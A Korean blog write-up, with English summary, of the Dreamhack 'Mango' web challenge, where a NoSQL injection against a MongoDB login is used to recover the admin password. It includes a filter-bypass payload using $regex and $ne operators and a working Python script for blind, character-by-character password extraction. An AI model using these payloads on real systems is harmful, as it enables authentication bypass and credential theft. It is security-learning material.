Dreamhack - Mango (web)

·2026년 2월 23일

Dreamhack-Writeups

목록 보기
50/52

Mango (web)

문제 링크

https://dreamhack.io/wargame/challenges/90

문제 설명

이 문제는 데이터베이스에 저장된 플래그를 획득하는 문제입니다.
플래그는 admin 계정의 비밀번호 입니다.
플래그의 형식은 DH{...} 입니다.
{'uid': 'admin', 'upw': 'DH{32alphanumeric}'}

풀이과정

  1. 서버에 접속합니다.

    나와있는 문자열을 페이로드에 입력하면 guest로 로그인이 될 것을 유추해볼 수 있었고, 실제 해보니 로그인 되었습니다.
  2. 자바스크립트로 작성된 문제 파일을 확인해 보았습니다.
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

위의 코드를 통해 플래그를 얻기 위해 필요한 admin이라는 문자를 필터링하고있음을 알 수 있었습니다. 또한 패스워드는 총 32글자의 영어와 숫자로 이루어짐을 확인하였습니다.

실제 admin으로 접속하니 필터가 걸린 모습입니다.

  1. 필터를 우회하기 위해
    /login?uid[$regex]=ad.in&upw[$ne]=guest 을 입력해줍니다.
  • uid[$regex]=ad.in : $regex는 정규표현식의 약자로, 특정 패턴을 가진 값을 찾고싶을 때 사용하는 연산자입니다. .은 아무글자나 들어올 수 있습니다. 따라서 uid[$regex]=ad.in은 아이디가 ad( )in인 사용자를 찾기 위한 쿼리입니다.
  • [$ne] : 같지 않음의 약자입니다. 따라서 위에선 비밀번호가 guest가 아닌 사용자를 찾고싶을 때 사용하는 연산자입니다.
  • 따라서 아이디가 ad.in이고, 비밀번호가 guest가 아닌 사용자를 찾는 과정입니다.

    입력해보니 admin으로 로그인에 성공한 모습입니다. 이제 비밀번호를 알아내면 플래그를 획득할 수 있습니다.
  1. 플래그 형식은 DH{} 사이, 32글자의 영어와 숫자임으로 하나씩 시도해 알아내는 방법이 있습니다. 하지만 너무 오래걸리니 파이썬 코드를 활용하여 플래그를 구해보도록 하겠습니다.
import requests
import string

# 1. 주소 설정 
url = "http://host3.dreamhack.games:23392/login"

# 2. 사용할 문자들 (알파벳 대소문자 + 숫자)
chars = string.ascii_letters + string.digits
flag = "DH{" 

# 3. 플래그의 4번째 글자(index 3)부터 마지막 35번째 글자까지 찾기
for i in range(3, 35):
    found = False
    for char in chars:
        # ^.{i}char : 앞의 i글자는 무시하고 그 다음 글자가 char인지 확인
        payload = f"?uid[$regex]=ad.in&upw[$regex]=^.{{{i}}}{char}"
        
        try:
            res = requests.get(url + payload)
            if "admin" in res.text:
                flag += char
                print(f"찾는 중... 현재 플래그: {flag}")
                found = True
                break
        except Exception as e:
            print(f"에러 발생: {e}")
            continue
            
    if not found:
        print("더 이상 글자를 찾을 수 없습니다.")
        break

flag += "}"
print(f"최종 플래그: {flag}")

코드작성은 제미나이를 활용하였습니다.
코드 설명

  • import requests: 파이썬으로 웹사이트에 접속하게 해주는 도구를 가져옴.
  • import string : 글자 목록을 가져옴.
  • string.ascii_letters는 알파벳 대소문자 전체, string.digits는 숫자 0부터 9까지를 의미. 플래그에 쓰이는 문자들을 미리 chars 이라는 변수에 담아둠.
  • flag = "DH{" : flag의 시작부분을 변수에 담아둠.
  • 플래그는 DH{} 안의 글자가 32글자임으로, for문의 range를 DH{가 끝나는 3부터 35까지로 지정하여 중괄호 안의 문자만 알 수 있게 설정.
  • for char in charschar안에 들어갈 글자가 chars 안의 무슨 글자인지 하나씩 넣어보는 과정.
  • payload = f"?uid[$regex]=ad.in&upw[$regex]=^.{{{i}}}{char}"
    • uid는 위에서 admin으로 로그인 됨을 확인한uid[$regex]=ad.in를 씀.
    • ^ : 문자열의 처음부터 확인하라는 뜻
    • .{{{i}}} : 앞에 있는 {i}개의 글자는 뭐가 오든 뛰어넘으라는 뜻 (중괄호를 3개 쓴 이유 : 파이썬의 f-string에서 {}는 변수를 넣는 칸인데, 변수가 아니라 중괄호 글자임을 알려주려면 두번 작성해야 함. 중괄호 안에 변수 {i}를 넣어야 하는 상황이기에 중괄호를 3번 작성함.)
    • {char} : {i}개의 글자 그 다음 글자가 char과 똑같은지 확인.
  • try: 에서 한글자씩 대입해서 플래그를 찾아낸다.
    파이썬 코드를 돌려 최종적으로 플래그를 획득할 수 있었습니다.

배운점

  • NoSQL 인젝션 취약점에 대해 학습할 수 있었습니다. NoSQL은 전통적인 관계형 SQL의 틀에서 벗어난 모든 형태의 데이터베이스를 말하는데, 웹 애플리케이션이 NoSQL에 쿼리를 보낼 때, 사용자의 입력값을 제대로 검사하지 않아 공격자가 쿼리문의 구조나 로직을 조작할 수 있는 취약점이 NoSQL 인젝션입니다. 이 문제에서는 대표적인 NoSQL인 MongoDB를 다루고 있습니다.
  • 정규표현식과 비교연산자를 활용하여 필터를 우회하는 법을 배울 수 있었습니다. $regex[$ne]등의 연산자도 학습할 수 있었습니다. 서버에서 단순히 특정 문자열을 가리는 것 만으로는 보안이 되지 않는다는 점을 다시한번 익힐 수 있었습니다.
  • 스스로 파이썬 스크립트를 짜는 것에 어려움을 느껴 제미나이를 활용했는데, 혼자서도 스크립트를 짤 수 있도록 더 학습이 필요함을 느꼈습니다.

Summary (English)

  • This Dreamhack “Mango (web)” challenge involves retrieving the admin password stored in a database, formatted as DH{32alphanumeric}.
  • The application filters keywords like admin, dh, and admi, but improper input validation leads to a NoSQL Injection vulnerability.
  • The filter is bypassed using MongoDB operators such as $regex and $ne (e.g., /login?uid[$regex]=ad.in&upw[$ne]=guest) to log in as admin.
  • A Python script automates blind extraction by testing each character with regex patterns and analyzing server responses.
  • Key takeaways include understanding NoSQL Injection in MongoDB, filter bypass techniques, and the importance of secure input validation and scripting skills.
profile
CTF 풀이 및 실습 중심 학습을 기록합니다.

0개의 댓글